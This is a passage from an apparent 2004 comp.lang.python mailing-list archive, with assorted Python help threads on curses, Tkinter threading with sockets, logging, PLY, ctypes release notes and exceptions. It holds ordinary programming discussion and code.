running > into problems, possibly due to having virtual hosts configured. What problems are you having? What are you expecting to happen, and what is actually happening? If there are warning or error messages, what are they? What makes you think the problems might be related to virtual hosts? -- Michael Fuhr http://www.fuhr.org/~mfuhr/ From elainejackson7355 at home.com Sun Sep 12 12:54:40 2004 From: elainejackson7355 at home.com (Elaine Jackson) Date: Sun, 12 Sep 2004 16:54:40 GMT Subject: open and shut case References: <878ybfk3rf.fsf@pobox.com> Message-ID: Thanks for the tips. The subject lines were meant to be humorous and hooky. I guess I should know by now that it doesn't pay to attempt humor when there are so many lower lifeforms around who can't imagine anything better to do than peeing in the pool. C'est la vie, I guess. Anyway, thanks again. Peace "John J. Lee" wrote in message news:878ybfk3rf.fsf at pobox.com... | "Elaine Jackson" writes: | | > Can python close a web-browser window it opened itself? The window in question | > will be displaying a webpage that resides on the local computer, which is | > running Windows 98. Knowing a way to do this would really help me out. | | There are quite a few examples of automating IE with COM lying around | on Google and Google Groups if you know what to look for. | Unfortunately, COM is be rather obscure in many ways. | | terms: IE, MSIE, Internet Explorer, COM, pywin32, win32all, ctypes | | The win32 mailing list (whose name I forget -- sorry!) is a good | source. | | PS. these days, your subject line sounds distinctly spammish | (especially since it's a woman posting the message to a | comp. newsgroup -- how likely can that be? ;-) | | | John From bokr at oz.net Thu Sep 16 15:15:42 2004 From: bokr at oz.net (Bengt Richter) Date: 16 Sep 2004 19:15:42 GMT Subject: list/tuple to dict... References: <20040915163909.4234ce31@gypsy.pfortin.com> <1gk7a4p.9bjbrs173syhqN%aleaxit@yahoo.com> Message-ID: On Thu, 16 Sep 2004 10:16:28 +0200, aleaxit at yahoo.com (Alex Martelli) wrote: >Pierre Fortin wrote: > ... >> class todict: >> """ Converts a list/tuple to a dict: foo = todict(values,names) """ >> def __init__(self,values,names): >> self.d = {} >> for i,name in enumerate(names.split(",")): >> self.d[name.strip()]=values[i] >> def __setitem__(self, name, value): >> self.d[name]=value >> def __getitem__(self, name): >> return self.d[name] > >You can implement this exact functionality (not worth it for os.stat, of >course, which already does return a pseudotuple with named items) in a >probably better way...: > [...] Perhaps pseudo-tuples that support attribute-name access to elements could have a __getitem__ that would accept integers in the index way, and strings as a mapping-like alternative to attribute accesses of the same name. That way '%(st_size)s' % os.stat(filename) would work. And if str.__mod__ were modified to have a %** format to establish the corresponding argument as the effective mapping for string keys yet worked normally from the tuple for unnamed arguments, then you could write '%**%(st_size) is the size of file %r' % (os.stat(filename), filename) or putting the mapping object in the middle works too, so long as it's before named stuff: 'File %r is %**%(st_size) long. (full path %r)' % ( filename, os.stat(filename), os.path.abspath(filename)) you could even entertain multiple mapping objects by specifying %** as you needed new ones. I think this could be made backwards compatible, since without %** mapping arguments would either get used or get repr'd, depending, as now. Regards, Bengt Richter From simplicissimus at gmail.com Sat Sep 18 11:18:13 2004 From: simplicissimus at gmail.com (Matthew Alton) Date: 18 Sep 2004 08:18:13 -0700 Subject: Serious Python/Curses Wierdness Message-ID: <9e225d2f.0409180718.5ff4ed02@posting.google.com> The appended program freaks python 2.2 & 2.3 completely out. To reproduce the wierdness: i) copy the source to a file called consarn.py ii) $ python consarn.py; iii) the program is now doing a getch(); iv) hit a key; v) the program locks up, the interptreter is now munching on the CPU; vi) kill the interpreter from another shell; vii) scratch head and wonder why neither of the mutually exclusive clauses in the _io() member function have written any output via dbg() calls to the consarn.debug file. This has simply got to be a major problem with the interpreter and/or the curses module(s). __rcsid__ = "$Id: consarn.py,v 1.10 2004/09/17 22:43:30 mqa Exp zma0472 $" import string, curses, curses.ascii, time (_Y, _X) = (24, 80) def dbg(str): f = open("consarn.debug", 'a') f.write(time.ctime() + " : " + str + '\n') f.close() class Menu: def __init__(self, title="Consarn Menu"): self.title = string.center(string.strip(title), _X) self.items = []; self.label_width = 0; self.linked = False def link(self): y = 1; idx = 0; screen = 0 x = range(2, _X-self.label_width+1, self.label_width+2) up = left = ppage = top = self.items[0] for i in self.items: i["up"] = up; i["down"] = i; i["up"]["down"] = i; up = i i["right"] = i["left"] = i["npage"] = i if idx > 0: i["left"] = left i["left"]["right"] = i; i["ppage"] = ppage i["screen"] = screen; i["y"] = y; i["x"] = x[idx] if _Y-1 == y: y = 1; left = top if len(x)-1 == idx: idx = 0; ppage = i; screen += 1 else: idx += 1 else: if 1 == y: top = i y += 1; left = left["down"] self.linked = True f = open("link.out", 'w') for i in self.items: f.write("%s:\n" % i["label"]) f.write(" up = " + i["up"]["label"] + '\n') f.write(" down = " + i["down"]["label"] + '\n') f.write(" right = " + i["right"]["label"] + '\n') f.write(" left = " + i["left"]["label"] + '\n') f.write(" npage = " + i["npage"]["label"] + '\n') f.write(" ppage = " + i["ppage"]["label"] + '\n') f.write(" x = " + str(i["x"]) + '\n') f.write(" y = " + str(i["y"]) + '\n') f.write(" screen = " + str(i["screen"]) + '\n') f.close() def _io(self, scr): if not self.linked: self.link(); scr.keypad(1); # curses.curs_set(0); item = self.items[0]; item["attributes"] = curses.A_STANDOUT while True: scr.clear() scr.addnstr(0, 0, self.title, _X, curses.A_STANDOUT) for i in [j for j in self.items if j["screen"] == item["screen"]]: scr.addnstr(i["y"], i["x"], i["label"], _X, i["attributes"]) scr.refresh() while True: m = { curses.KEY_DOWN : item["down"], curses.KEY_UP : item["up"], curses.KEY_RIGHT : item["right"], curses.KEY_LEFT : item["left"], curses.KEY_PPAGE : item["ppage"] } c = scr.getch(); dbg("c = scr.getch()") if c in m.keys(): if c in m.keys(): dbg("if c in m.keys():") if m[c] != item: dbg(" if m[c] != item:") item["attributes"] = curses.A_NORMAL m[c]["attributes"] = curses.A_STANDOUT scr.addnstr(item["y"], item["x"], item["label"], _X, item["attributes"]) scr.addnstr(m[c]["y"], m[c]["x"], m[c]["label"], _X, m[c]["attributes"]) if item["screen"] == m[c]["screen"]: item = m[c]; scr.refresh() else: item = m[c]; break else: dbg("Inside else") elif curses.ascii.ESC == c: return def add_item(self, item_label): self.items.append({"label" : item_label, "up" : None, "down" : None, "left" : None, "right" : None, "ppage" : None, "npage" : None, "x" : None, "y" : None, "screen" : None, "attributes" : curses.A_NORMAL}) self.label_width = max(len(item_label), self.label_width) self.linked = False def delete_item(self, item): if item in self.items: self.items.remove(item); self.linked = False def IO(self): curses.wrapper(self._io) def test(): import string import random print "Initializing the Consarn Demo..." random.seed() population = string.ascii_letters+string.digits+string.punctuation # max_width = random.randint(1, _X-1) for max_width in range(1, _X-1): m = Menu(title="ROWS=%d COLS=%d R=%d" % (_Y, _X, max_width)) for x in range(0, 400): width = random.randint(1, max_width) s = random.sample(population, width) label = "" for c in s: label += c m.add_item(label) m.IO() del(m) def test1(): print "Initializing Debug Test..." m = Menu(title="ROWS=%d COLS=%d" % (_Y, _X)) f = open("debug", 'w') f.write("Create start = " + time.ctime() + '\n') for x in range(0, 40): m.add_item(str(x)) f.write("Create end = " + time.ctime() + '\n') f.close() m.IO() del(m) if "__main__" == __name__: curses.wrapper(test1()) From wolfgang.keller.nospam at gmx.de Thu Sep 30 11:36:15 2004 From: wolfgang.keller.nospam at gmx.de (Wolfgang Keller) Date: Thu, 30 Sep 2004 17:36:15 +0200 Subject: Python in Process Control? Message-ID: Hello, is it that my know-how to use Google is insufficient or... ...does really noone use Python for industrial control applications? At least I didn't manage to find any publicly available modules for such things as OPC/fieldbus communication etc... TIA, best regards, Wolfgang Keller From abra9823 at mail.usyd.edu.au Sat Sep 18 00:38:53 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Sat, 18 Sep 2004 14:38:53 +1000 Subject: shuttong down socket from another thread Message-ID: <1095482333.414bbbdd8fbf3@www-mail.usyd.edu.au> hi! i have a main application which is run through a GUI. the GUI has a function 'start server' which starts a server in another thread and a stop function which should stop this server. the code is from Tkinter import * import tkMessageBox import tkFileDialog import socket import threading from Queue import Queue class MainApp: def __init__(self, master): self.frame = Frame(master) self.frame.pack() self.th = None ... def startServer(self): self.th = threading.Thread(target=self.doStartServer) self.th.start() def doStartServer(self): print "starting threaded" UDPserversocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) UDPserversocket.bind((socket.gethostname(), LOCAL_SERVER_PORT)) print "binded to address: ", socket.gethostname() while 1: data, address = UDPserversocket.recvfrom(1024) print data root = Tk() app = MainApp(root) root.title("X Privacy Agent") root.protocol("WM_DELETE_WINDOW", lambda: sys.exit(0)) root.mainloop() i tried to do the following in stopServer def stopServer(self): print "stopping" if self.th is not None and self.th.isAlive(): #may not be a clean shut down self.th.join(5) print "stopped" first of all, i would like to have a clean termination of the server. so that if its handling any data etc, it should finish handling it and then close. secondly the above code doesn't seem to work. after running the server and then stopping it, when i click on the close window icon, the application simply crashes. i could add the variable to the startServer's while loop and then change the variable in stopServer, but that would work only after the server has received one datagram (since it will be blocked in the recvfrom call). any suggestions of how i should go about allowing the user to 1. stop and restart the server 2. and close the application at any time. thanks cheers ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From bjg at network-theory.co.uk Thu Sep 9 05:34:26 2004 From: bjg at network-theory.co.uk (Brian Gough) Date: 09 Sep 2004 10:34:26 +0100 Subject: Shorter checksum than MD5 References: Message-ID: <87llfjiy59.fsf@network-theory.co.uk> Mercuro writes: > I'm looking for something that is 5 bytes long, for the moment i'm > just taking a part of the hex md5 sum (like this: checksum = > md5sum[3:8]). I don't have any duplicates, and I have over 100000 > records, but i'm not sure for the future... Can anybody give me > something better? Or point me to some website? For making a smaller hash, I think your approach is a good one since you can easily increase the length if you need to. For comparing two databases, maybe there are other options not using a hash though (e.g. keeping a log of which records have changed since the last comparison). -- Brian Gough Network Theory Ltd, Publishing the Python Manuals --- http://www.network-theory.co.uk/python/ From vinay_sajip at yahoo.co.uk Tue Sep 7 16:52:34 2004 From: vinay_sajip at yahoo.co.uk (Vinay Sajip) Date: 7 Sep 2004 13:52:34 -0700 Subject: logging References: Message-ID: <2e37dc1.0409071252.669b22d3@posting.google.com> Ajay wrote in message news:... > hi! > > in my web app. i log debug messages to a file. however, sometimes the > messages appear more than once even though the code in which the log > statement appears gets executes only once > i have a utilities.py file which defines a getLogger() method as follows > > logger = logging.getLogger('../logs/umapp') > hdlr = logging.FileHandler('../logs/umapp.log') > os.system("chmod 755 ../logs/umapp.log") > formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s') > hdlr.setFormatter(formatter) > logger.addHandler(hdlr) > logger.setLevel(logging.INFO) > return logger > > all my cgi scripts the the start make the call - logger = > utilities.getLogger() > > the scripts then log debug messages during different stages of their > execution. > > however, some of these debug messages appear 2 or 3 times on the log file. > i have verified that the particular code block in which the log statement > is present is executed only once > > any ideas Make sure you don't add the same handler several times to a given logger or to the root. If you do this, the logging messages get handled (=> displayed) multiple times. Regards Vinay Sajip From gerrit at nl.linux.org Tue Sep 28 03:37:51 2004 From: gerrit at nl.linux.org (Gerrit) Date: Tue, 28 Sep 2004 09:37:51 +0200 Subject: Unary plus operator and __pos__ In-Reply-To: <4157A0BA.E3DE876@alcyone.com> References: <4157A0BA.E3DE876@alcyone.com> Message-ID: <20040928073751.GC8719@nl.linux.org> Erik Max Francis wrote: > Carlos Ribeiro wrote: > > > Now I'm curious about the operator itself. Why is the unary plus > > operator associated with the __pos__ magic method? I' can't see a > > relation here, and I could not find much info (although I haven't > > really looked very hard :-) > > > > Anyone knows why is it so? > > Unary plus is __pos__ for positive, unary minus is __neg__ for negative. > > The unary plus operator, I'm sure, is a holdover from C. Since the > unary plus operator is a no-op for normal numeric values, I would be > hesitant to use it to mean something else; The Decimal class does: >>> n = Decimal((0, (0, ), 'N')) >>> n Decimal("sNaN") >>> +n Traceback (most recent call last): File "", line 1, in ? File "/usr/local/lib/python2.4/decimal.py", line 863, in __pos__ ans = self._check_nans(context=context) File "/usr/local/lib/python2.4/decimal.py", line 619, in _check_nans 1, self) File "/usr/local/lib/python2.4/decimal.py", line 2243, in _raise_error raise error, explanation decimal.InvalidOperation: sNaN yours, Gerrit. -- Weather in Twenthe, Netherlands 28/09 08:55: 15.0?C mist overcast wind 4.0 m/s SW (57 m above NAP) -- In the councils of government, we must guard against the acquisition of unwarranted influence, whether sought or unsought, by the military-industrial complex. The potential for the disastrous rise of misplaced power exists and will persist. -Dwight David Eisenhower, January 17, 1961 From eurleif at ecritters.biz Wed Sep 1 03:49:03 2004 From: eurleif at ecritters.biz (Leif K-Brooks) Date: Wed, 01 Sep 2004 03:49:03 -0400 Subject: Modules are hashable?! Message-ID: <2pld08Fm7mo8U1@uni-berlin.de> I was just playing around, and noticed that modules seem to be hashable. Can anyone explain that, especially given the fact that they're mutable? Python 2.3.3 (#1, May 7 2004, 10:31:40) [GCC 3.3.3 20040412 (Red Hat Linux 3.3.3-7)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import sys >>> hash(sys) -150589324 >>> sys.x = 42 >>> hash(sys) -150589324 >>> foo = {sys:'bar'} >>> foo[sys] 'bar' From finite.automaton at gmail.com Fri Sep 17 16:06:41 2004 From: finite.automaton at gmail.com (Lonnie Princehouse) Date: 17 Sep 2004 13:06:41 -0700 Subject: Using PLY References: <414a6ca1$1@news.unimelb.edu.au> Message-ID: <4b39d922.0409171206.1ed5003d@posting.google.com> > >>> import tokenize > >>> import StringIO > >>> src = StringIO.StringIO(""" > ... The tokenize module would definitely be simpler if it's Python code that he happens to be parsing. If it's not Python code, then there's still a reason to use PLY.. ------------------------------------------ Here's a kludgy but quick solution- modify the LexToken class in lex.py to keep track of number of type occurences. class LexToken(object): # change to new style class type_count = {} # store the count here def __setattr__(self, key, value): if key == 'type': # when type attribute is assigned, increment counter if value not in self.type_count: self.type_count[value] = 1 else: self.type_count[value] += 1 object.__setattr__(self, key, value) # ... and proceed with the original definition of LexToken def __str__(self): return "LexToken(%s,%r,%d)" % (self.type,self.value,self.lineno) def __repr__(self): return str(self) def skip(self,n): try: self._skipn += n except AttributeError: self._skipn = n ----------------------------------------- After you've run the lexer, lex.LexToken.type_count will the contain number of occurences of each token type. ----------------------------------------- (Caveats- 1. I haven't tested this code. 2. I've got PLY 1.3; syntax may have changed in newer versions. In fact, I hope it's changed; while PLY works very well, its usage could be way more pythonic) From thierry.s at free.fr Mon Sep 6 04:00:26 2004 From: thierry.s at free.fr (Thierry S.) Date: Mon, 06 Sep 2004 10:00:26 +0200 Subject: open default MUA with a hyper link References: Message-ID: Jonathan Ellis wrote: > Yann.K wrote: >> I would like to do a hypertext link on a GUI, which launch a per > default >> mail user agent (with the "to" header documented). >> To launch an url in a web browser i use webbrowser.open(url). >> Do exist an equivalent command to run the per default MUA (like ie >> webbrowser.mail_open(toto at example.com)? >>>> import os >>>> os.startfile("mailto:jbellis at gmail.com") > > -Jonathan "AttributeError: 'module' object has no attribute 'startfile'"?.. -- Thierry S. From michele.simionato at gmail.com Tue Sep 28 12:17:07 2004 From: michele.simionato at gmail.com (Michele Simionato) Date: 28 Sep 2004 09:17:07 -0700 Subject: re-entering in the normal flow after an exception is raised Message-ID: <4edc17eb.0409280817.27ef4f43@posting.google.com> I think I want "re-entrant exceptions" (not sure if this is the correct name). Consider the following example: class NotSeriousException(Exception): pass def do_this(): raise NotSeriousException() def do_that(): pass def do_this_and_that(): do_this() do_that() Since the exception is raised at the do_this() level, do_that() will not be executed. However, since the exception is not that serious, I would like to catch it and continue from the point the exception was raised, i.e. something like that: try: do_this_and_that() except NotSeriousException: continue # does not work of course where "continue" would continue from do_that(). Is there some elegant or hackish way to get this? Notice that I do NOT want to modify the source code of do_this_and_that. It comes from real life code and I could modify it, but if there was some smarter way of getting what I want I would be interested ... Michele Simionato From me at privacy.net Fri Sep 24 14:27:31 2004 From: me at privacy.net (Richard Hanson) Date: Fri, 24 Sep 2004 11:27:31 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> Message-ID: [A heads up: short post -- also, having connection problems. :-/ ] Mike Meyer wrote: > Carlos Ribeiro writes: > > > I heed you to check Microsoft's documents on "how Longhorn will be > > great" > > Another thing to check out is http://sourceforge.net/projects/humane/ >, an implementation of the > interface described in Jeff Raskin's "The Humane Interface". No > folder, no files, simplified everything. Thanks for that link, Mike! I've now DL'ed the small file, and am in the process of re-DL'ing wxPython (computer crashes and slow connections 'R' me :-) ) which Jeff's work appears to depend on. Jeff Raskin is someone I have lots of respect for. I'm quite curious to see what he's got going, here. Hmm... Perhaps, there *are* quite similar projects to the one I posited, already extant. Good thing I *did* post here -- there's a wealth of info and links to such available here in c.l.py. I may be able to just add input to existing projects. Thanks, again! off-to-finish-that-DL'ly y'rs, Richard Hanson -- sickoldfartnewsguycom From srijit at yahoo.com Tue Sep 28 04:14:35 2004 From: srijit at yahoo.com (srijit at yahoo.com) Date: 28 Sep 2004 01:14:35 -0700 Subject: Python for .NET Message-ID: <221d8dbe.0409280014.aa38f20@posting.google.com> Hello, Ironpython is a good alternative. But it would be great if it is possible to access CLR from CPython. I am aware Python for .NET ( PythonNet-1.0-beta3.tgz). I have started using this tool now. But I see that development of this promising tool has ceased for all practical purposes. Is it because there is nothing much to do beyond what it is now? With regards, Srijit From exarkun at divmod.com Fri Sep 3 17:45:51 2004 From: exarkun at divmod.com (Jp Calderone) Date: Fri, 03 Sep 2004 17:45:51 -0400 Subject: How to actually write a program? In-Reply-To: References: Message-ID: <4138E60F.7080703@divmod.com> Nick Evans wrote: > Hello there, > I have been on and off learning to code (with python being the second > language I have worked on after a bit of BASIC). What I really want to know > is, if you are going to actually write a program or a project of some sort, > how do you actually start. > > Picture this, you know what you want the program to do (its features), you > have a possably rough idea of how the program will work. You have opened an > empty text file and saved it as 'mykewlprogram.py' and now your sitting in > front of an empty text file... Now then.... where do I start. > > Any ideas about this problem :-) Close the file. Open test_mykewlprogram.py and begin writing unit tests. http://www.extremeprogramming.org/ The answer is much larger than this, of course. So large I'm not even going to try to answer it more fully. :) Jp From http Wed Sep 1 03:47:40 2004 From: http (Paul Rubin) Date: 01 Sep 2004 00:47:40 -0700 Subject: Announcing PyCs, a new Python-like language on .Net References: <1093788608.645541@news.commspeed.net> Message-ID: <7xoekq4ehv.fsf@ruckus.brouhaha.com> Mark Hahn writes: > I would have agreed with you before I saw the details of the C-Omega > language. Check out this paper on how XML and SQL are handled directly in > the language: > > http://www.cl.cam.ac.uk/%7Egmb/Papers/vanilla-xml2003.html. Yuck, Javascript handled those tasks just fine, it seemed to me. From jos_usenet at theorganization.net Sun Sep 19 11:29:59 2004 From: jos_usenet at theorganization.net (Jos Yule) Date: Sun, 19 Sep 2004 11:29:59 -0400 Subject: Network pass-through/proxy server questions Message-ID: <%Bh3d.3530$bL1.67148@news20.bellglobal.com> Hello all. I doing a project which uses Macromedia's Flash program and Python. This is a 'because i want to see if i can do it' kind of thing, so i know that there will be better/easier ways to accomplish what i'm about to lay out! I am going to use a flash app as a kind of chat app, but because Flash does not accept incoming socket connections, i'd like to use a small Python server to act as the socket proxy (i think that's the right term) server. I am going to have a flash app running which will connect to the Python server (the chat app), and i just need the Python server to accept new client socket connections, and pass the messages received on to the flash app. I've gotten a basic version of this running, where the flash chat app connects on port 9999, and the clients connect on port 8888 (just example port #). My biggest problem within the Python code is how to pass a reference to the flash app about which socket is associated with which message/client. ie. how do i 'number' the messages, so that when they are passed to the flash controller, it can then send back messages which get sent to the correct client? I currently have used a 'broadcast' method (using weak refs), but this, obviously, is not very efficient, as each socket compares an internal ID number against an id which is sent as part of the message from the flash controller app. ie. each message from a client has an ID pre-pended to it - "001 Hey how's it going?", and messages from the server are similar - "001 Kicked due to ineptness" Is there a way to relate socket objects with some kind of ID, directly, without fubaring the garbage collection stuff? Is this clear, or are you all just going "wtf is he talking about?" ;) thanks j ps. i would like to avoid using Twisted, as i want to learn how to use asyncore on its own, and Twisted just seems too big for what i want... j From RobMEmmons at cs.com Sat Sep 4 09:47:51 2004 From: RobMEmmons at cs.com (Robert M. Emmons) Date: Sat, 04 Sep 2004 08:47:51 -0500 Subject: Extending/Embedding python In-Reply-To: References: Message-ID: <4139C787.5020406@cs.com> > Thanks for any help that can be offered. I've been working with Python for > a year or more now, but only doing simple extending in C/C++. I'm now > attempting some embedding and several questions have come to mind. Your ahead of me! > BTW - I'm running Windows 2000 with Python23 and VisualC++ developers > studio. I won't hold that against you. :) > 1. (Not extending/embedding related at all) How can I pass in a load/bunch > of defines so I can use them over and over again, instead of having to copy > them in every *.py script. All my scripts use an "extension" dll that I > wrote that require a lot of constants. I looked a lot at that PyMemberDef > and Type stuff but didn't get it and don't know if that's the solution > anyway. Why not just import these with a single import at the top of your python script. There is probably also a way to make C do this to setup the name space first too. > 2. A couple simple examples I've seen for initModule() are written > differently. One only calls Py_InitModule("module", module_methods), but > the other also calls PyImport_AddModule("module"). What is the difference? > What does PyImport_AddModule() accomplish? Can't help you there. I don't know much about actual embedding. > 3. When embedding Python into my simple application, why can't I pass > application parameters? PyRun_SimpleString seems to only take hard-coded > values. Can/How can I get around this? My code looks like: > > if (!Py_IsInitialized()) > { > Py_Initialize(); > } > PyRun_SimpleString("import MyModule"); > PyRun_SimpleString("MyModule.init(1, 'c:\\diag\\dsp.ldr', 0x5555)"); > PyRun_SimpleString("MyModule.MemoryTest(1, 0, 1)"); > PyRun_SimpleString("MyModule.Shutdown()"); > Py_Finalize(); > > But I'd like to pass application variables instead of the hard-coded 1, 0, 1 > and 0x5555, such as: > > int appInt = 0x5555; > PyRun_SimpleString("MyModule.init(1, 'c:\\diag\\dsp.ldr', appInt)"); > > I know I'm missing something fundamental here. Please advise. I'm not certain this is what you mean -- but if by appInt -- you mean appInt is defined in the C code, then you need to convert it's value into a string then send it as a value like you were alread able to do. I'm not embedding expert but it looks like the "SimpleString" procedure is just sending python code as text. The other thing is that if you want to pass down actual variable data into python it probably has to be coded as a python object -- remember that python and C don't use the same data construct's, all of these must be converted and the embedding stuff has routines to do this. Also as an aside -- you might want to just make an ActiveX/COM extension rather than dong embedding if your just using windows. See the book Python Programming on Win32 to see how. Rob From theller at python.net Thu Sep 16 16:39:13 2004 From: theller at python.net (Thomas Heller) Date: Thu, 16 Sep 2004 22:39:13 +0200 Subject: ctypes 0.9.1 released Message-ID: ctypes 0.9.1 released - Sept 14, 2004 ===================================== Overview ctypes is a ffi (Foreign Function Interface) package for Python 2.3 and higher. ctypes allows to call functions exposed from dlls/shared libraries and has extensive facilities to create, access and manipulate simple and complicated C data types in Python - in other words: wrap libraries in pure Python. It is even possible to implement C callback functions in pure Python. ctypes runs on Windows, MacOS X, Linux, Solaris, FreeBSD. It may also run on other systems, provided that libffi supports this platform. On windows, ctypes contains a ctypes.com package which allows to call and implement custom COM interfaces. Changes in 0.9.1 ctypes 0.9.1 should be fully compatible again with Gary Bishop's readline module which is also used by IPython. ctypes changes The internal conversions that ctypes does between unicode and strings can now use a specified encoding and error handling. A set_conversion_mode() function allows to set them, it returns the previous values. The inital values are ('mbcs', 'ignore') on Windows, and ('ascii', 'strict') on other systems. When internal processing of an argument for a function call fails, the new ctypes.ArgumentError is raised. CDLL and its subclasses now accept an optional second handle parameter. If this is supplied, it is used instead of calling LoadLibrary() or dlopen() to get one. Sometimes objects have been freed too early when calling functions where argtypes have been set. Fixed the create_unicode_buffer function - it was returning c_char arrays instead of c_wchar arrays. Both create_string_buffer and create_unicode_buffer can now be called with string and unicode instances, they will do the needed conversions themselves. ctypes now allows calling Python C api functions. The 'pythonapi' symbol should be used to access these functions, this will automatically use the correct calling convention and exception handling. The 'py_object' type is the ctypes variant of 'PyObject *'. This feature should also work if you are using a static python build. It is now possible to call cdecl functions with more arguments than the length of the argtypes sequence specifies - this allows to provide functions like sprintf() with a proper prototype. It is now possible to create strings or unicode strings if you have the integer address by calling c_char_p(address) or c_wchar_p(address). Integers can also be assigned to structure fields of type c_char_p and c_wchar_p. c_char_p and c_wchar_p both accept strings and unicode strings - if needed they are encoded or decoded using 'strict' error handling. The _ctypes.call_function function, although private and deprecated, has been put back in - it is used by Gary Bishop's readline module. Array and pointer instances now support slicing, for pointers only getslice is implemented (setslice is too dangerous, probably). Slices are represented as lists of the elements, except for character and unicode character pointer and arrays, where strings resp. unicode strings are used instead. On windows, the include files were missing from the source distribution. The alignment function was not exported by the ctypes module. It returns the alignment requirements in bytes of a type or instance. ctypes.com changes Applied a patch from Bruce Dodson which fixes an infinite loop in readtlb.py if a typelib references types defined in another typelib. readtlb still generates bad code for such cases, but the results could be edited by hand if the dependencies can be sorted out. ctypes now caches the types that WINFUNCTYPE and CFUNCTYPE creates, to avoid unneeeded creation of classes. This makes importing files containing a lot of COM interfaces (like the ones that the readtlb tool generates) a lot (10 x) faster. COM servers now print a short usage message when they are run without the /regserver or /unregserver flag. VARIANT does now handle the COM DATE type (VT_DATE) as Python datetime. VARIANT now handles integers and longs correctly - if longs are too large they are stored as doubles (VT_R8). Integers are now stored as VT_I4 instead of VT_INT. Detailed changelogs are in CVS: Future plans The ultimate purpose of the 0.9 release series is to shake out the remaining bugs, especially on platforms I have no access to, and to target a rock stable ctypes 1.0 release. When ctypes 1.0 is released, the com framework will be split off into a separate framework named 'comtypes'. Download Downloads are available in the sourceforge files section Separate source distributions are available for windows and non-windows systems. Please use the .zip file for Windows (it contains the ctypes.com framework), and use the .tar.gz file for non-Windows systems (it contains the complete cross-platform libffi sources). Binary windows installers, which contain compiled extension modules, are also available, be sure to download the correct one for the Python version you are using. Homepage Enjoy, Thomas From zathras at thwackety.com Fri Sep 24 16:23:07 2004 From: zathras at thwackety.com (Michael Sparks) Date: Fri, 24 Sep 2004 21:23:07 +0100 Subject: Module Pygame - "FadeOut" text References: Message-ID: <41548252$0$17924$ed2619ec@ptn-nntp-reader02.plus.net> Askari wrote: > "Terry Reedy" wrote in > news:mailman.3868.1096052483.5135.python-list at python.org: > >> >> "Askari" wrote in message >> news:Xns956E4F8F8C192askariaddressNonVali at 207.35.177.135... >>> (Help for Pygame module) >> >> There is a separate mailing list for Pygame, a third-party package. >> It can be accessed as a newsgroup via news.gmane.org >> as gmane.comp.python.pygame. .. > And why I can't request info for a third-party package on this group? > It's python, a "third-party package", yes, but it's too python... :-| You can ask anywhere. You get an increased likelihood of a useful answer depending _where_ you ask. If you ask about a third-party package here you might get an answer. If that third-party package has a mailing list newsgroup of its own however you have a higher likelihood of getting that answer. Since it's a python related question I'll agree you have a greater likelihood of answer here than (say) uk.media.tv, but there are better places to ask. (Where better is defined as "more likely to get answer" rather than "appropriate place to ask question") I suspect (I don't know) that Terry was letting you know about that list in case you didn't know, and because you're more likely to get an answer there. After all, you *could* argue (say) that pygame is a games library, so I'll ask in a games programming newsgroup (can't think of one, but...). If you had done so, I suspect you'd be less likely to get an answer there than here. > I DON'T WANT use this mail list! What we want to do, and what we have to do to get answers are not always the same thing. FWIW, if I used pygame and knew the answer I'd answer here, but I don't so I can't. I can understand not wanting to join another mailing list - why not try the newsgroup mentioned? Can't hurt to post to a second newsgroup, can it? Regards, Michael. From aleaxit at yahoo.com Wed Sep 22 13:18:52 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 19:18:52 +0200 Subject: namespace/dictionary quandry References: Message-ID: <1gkj42v.16ivchn5zt970N%aleaxit@yahoo.com> Jack Carter wrote: ... > The solution it would seem would be to do the evaluation > later within the called function. That way I could assume > that all failed eval()'ed names are literals meant for my > command and not a python variable/name. > > If this makes sense, the problem I need to solve is how to > deliver the correct namespace dictionary to the called function > so I can invoke eval with it. > > Does this make sense? Not very, but then I didn't follow the previous LONG posts on this thread, so I'll just answer this specific question and hope it helps. I'll assume the known variable-names are in some dictionary (such as a locals() or globals() or vars(something)): class WeirdNamespace: def __init__(self, d): self.d = d def __getitem__(self, n): return self.d.get(n,repr(n)) voila: if n is a key in dict d, this returns the corresponding value, otherwise it returns n suitably quoted. Just pass to eval a WeirdNamespace(d) rather than the bare d. It appears to me your user interface is courting trouble: if I mispell 'variablename' as 'varaiblename' I end up creating a file I didn't mean to rather than getting a clean error about unknown variable names. But I'll assume you know your users better than I do and that they _do_ really desire with all their hearts this unholy confusion between variables and constants... Alex From bwm at acm.org Sat Sep 11 13:18:56 2004 From: bwm at acm.org (Bernhard Mulder) Date: Sat, 11 Sep 2004 17:18:56 GMT Subject: Microthreads without Stackless? In-Reply-To: References: Message-ID: <4sG0d.14145$QJ3.115@newssvr21.news.prodigy.com> Take a look at http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/300019 Michael Hobbs wrote: > Does anyone know of an existing package that provides microthreads, other > than Stackless Python? I would like to be able to provide microthreads in > my Candygram package, but I'm not interested in Stackless (for various > reasons). > > In theory, it should be fairly straightforward to do preemptive > microthreading using a combination of generators and a separate IO thread. > The IO thread would poll for pending IO events and also periodically call > thread.interrupt_main() to preempt the current generator. > > From rattan at cps.cmich.edu Wed Sep 1 20:17:28 2004 From: rattan at cps.cmich.edu (Ishwar Rattan) Date: 1 Sep 2004 17:17:28 -0700 Subject: List and tuple usage distinction?? Message-ID: <938a4680.0409011617.e9f9ee2@posting.google.com> I am a little confused about a list and a tuple. Both can have dissimilar data-type elements, can be returned by functions. The only difference that I see is that list is mutable and tuple is not (of course list have .append() etc.) What is a possible scenario where one is preferred over the other? -ishwar From ssk at chol.nospam.net Tue Sep 14 16:06:32 2004 From: ssk at chol.nospam.net (Sam Sungshik Kong) Date: Tue, 14 Sep 2004 20:06:32 GMT Subject: string % dictionary question References: Message-ID: Thanks Larry! What about numbers? s="%d" % di["test"] di["test"] could be a number or None. What can I do with that? "" is not appropriate, right? Sam "Larry Bates" wrote in message news:x_-dnUD7uJRUYtvcRVn-vA at comcast.com... > di={} > di["test"]=None > s="%s" % (di["test"] or "") > print "s='%s'" % s > > works, but might be better to set values to empty strings > unless you want to test for the existence of None somewhere > else in your program. > > Larry Bates > > "Sam 